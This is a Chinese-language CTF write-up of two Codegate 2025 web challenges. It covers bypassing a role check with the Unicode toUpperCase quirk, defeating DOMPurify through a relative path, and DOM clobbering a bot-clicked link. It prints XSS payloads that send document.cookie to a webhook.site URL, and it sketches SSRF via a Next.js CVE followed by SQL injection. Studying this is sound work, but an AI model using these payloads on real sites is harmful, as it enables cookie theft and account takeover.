文章

codegate wp

Masquerade

几个人一起解出来的,三个人一起才写出一题

只能说,国际赛确实难

wp有点乱。。。反正核心考点是:js的toUpperCase加相对路径绕过加domClobbering

const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');
const users = new Map();
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];
function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}
const addUser = (password) => {
    const uuid = uuidv4()
    users.set(uuid, { password, role: "MEMBER", hasPerm: false });
    return uuid;
};
const getUser = (uuid) => {
    return users.get(uuid);
};
const getUsers = () => {
    console.log(users);
    return 1;
};
const setRole = (uuid, input) => {
    const user = getUser(uuid);
    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;
    users.set(uuid, { ...user, role: input.toUpperCase() });
    const updated = getUser(uuid);
    const payload = { uuid, ...updated }
    delete payload.password;
    const token = generateToken(payload);
    return token;
};
const setPerm = (uuid, input) => {
    const user = getUser(uuid)
    users.set(uuid, { ...user, hasPerm: input });
    return true;
}
"ı".toUpperCase() == 'I'

用toUpperCase()的小特性绕过限制变成ADMIN,然后hasparm直接在/admin/user/perm用json传布尔值改

然后第二个CSP肯定是打不了xss的,只能嵌入第一个/admin/test路由的页面

而/admin/test又加上了最新版DOMPurify的过滤

<http://3.35.104.112:3000/admin//test?title=><img src=x onerror=alert(1)>&content=b

这样就能xss了

原理是让DomPurify无法加载(相对路径)

view页面可以domClobbering劫持deleteurl,bot会点击deleteurl

<html>
    <body>
        <a id="conf"></a>
        <a id="conf" name="deleteUrl" href="<http://3.35.104.112:3000/admin/test?title=><img src=x onerror=alert(1)>&content=b">CLOBBERED</a>
    </body>
</html>

a标签中有属性的情况被过滤了,。但可以用/绕过。

<a/id="conf"></a>
        <a/id="conf"/name="deleteUrl"/href="<http://3.35.104.112:3000/admin/test?title=><img src=x onerror=fetch('<https://webhook.site/64d7ec3e-0fe7-429d-9533-6f7a00c20529/?data=>' + encodeURI(document.cookie))>&content=b">CLOBBERED</a>
//这是conf.deleteUrl.value=test,不行X
<form id="conf">
    <input name="deleteUrl" value="test" />
   
</form>

codegate2025{16a7eeb64ec6b150c9308509a039cec0c137dfd766ef13ccb8d6d9e0cf54aef3}

payload如下:

<a/id="conf"></a>
<a/id="conf"/name="deleteUrl"/href="http://localhost:3000/admin//test?title=%3Cimg%20src%3Dx%20onerror%3Dlocation%3D%27https%3A%2F%2Fwebhook%2Esite%2F64d7ec3e%2D0fe7%2D429d%2D9533%2D6f7a00c20529%2F%3Fdata%3D%27%2BencodeURI%28document%2Ecookie%29%3E">&content=b">CLOBBERED</a>

比赛挺好玩,有时间研究一下没写出来的题

后续

这个比赛的wp不好找,只找到一题的wp

以下是赛后wp

hide and seek

这题知道是ssrf,而且扫到了内网IP加端口

可惜没有回显,于是不会写了

看了其他人的wp才知道,原来又是组件漏洞

用了有漏洞的next.js版本,使用了Server Actions

'use server'
​
import { redirect } from "next/navigation";
​
export async function redirectGame() {
  return redirect("/hide-and-seek");
}

azu/nextjs-CVE-2024-34351: poc

按照这个poc就能看到回显了

这告诉下次要先把源码给ai,问问依赖有没有漏洞

然后就很简单了,访问login路由

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
</head>
<body>
    <h1>Login</h1>
    <!-- Just legacy code. But still work. -->
    <!-- Test Account: guest / guest -->
    <!-- <form action="/login" method="get">
        <input name="key" type="hidden" value="392cc52f7a5418299a5eb22065bd1e5967c25341">
        <label for="name">Username</label>
        <input name="username" type="text"><br>
        <label for="name">Password</label>
        <input name="password" type="text"><br>
        <button type="submit">Login</button>
    </form> -->
    <form action="/login" method="post">
        <label for="name">Username</label>
        <input name="username" type="text"><br>
        <label for="name">Password</label>
        <input name="password" type="text"><br>
        <button type="submit">Login</button>
    </form>
</body>
</html>

然后sql注入

{"message":"Database query failed. Query: SELECT * FROM users WHERE username = 'guest'' AND password = 'guest'"}

拿到数据库里面的flag即可

哎,只能说,下次一定要关心组件漏洞啊!!!

许可协议:  CC BY 4.0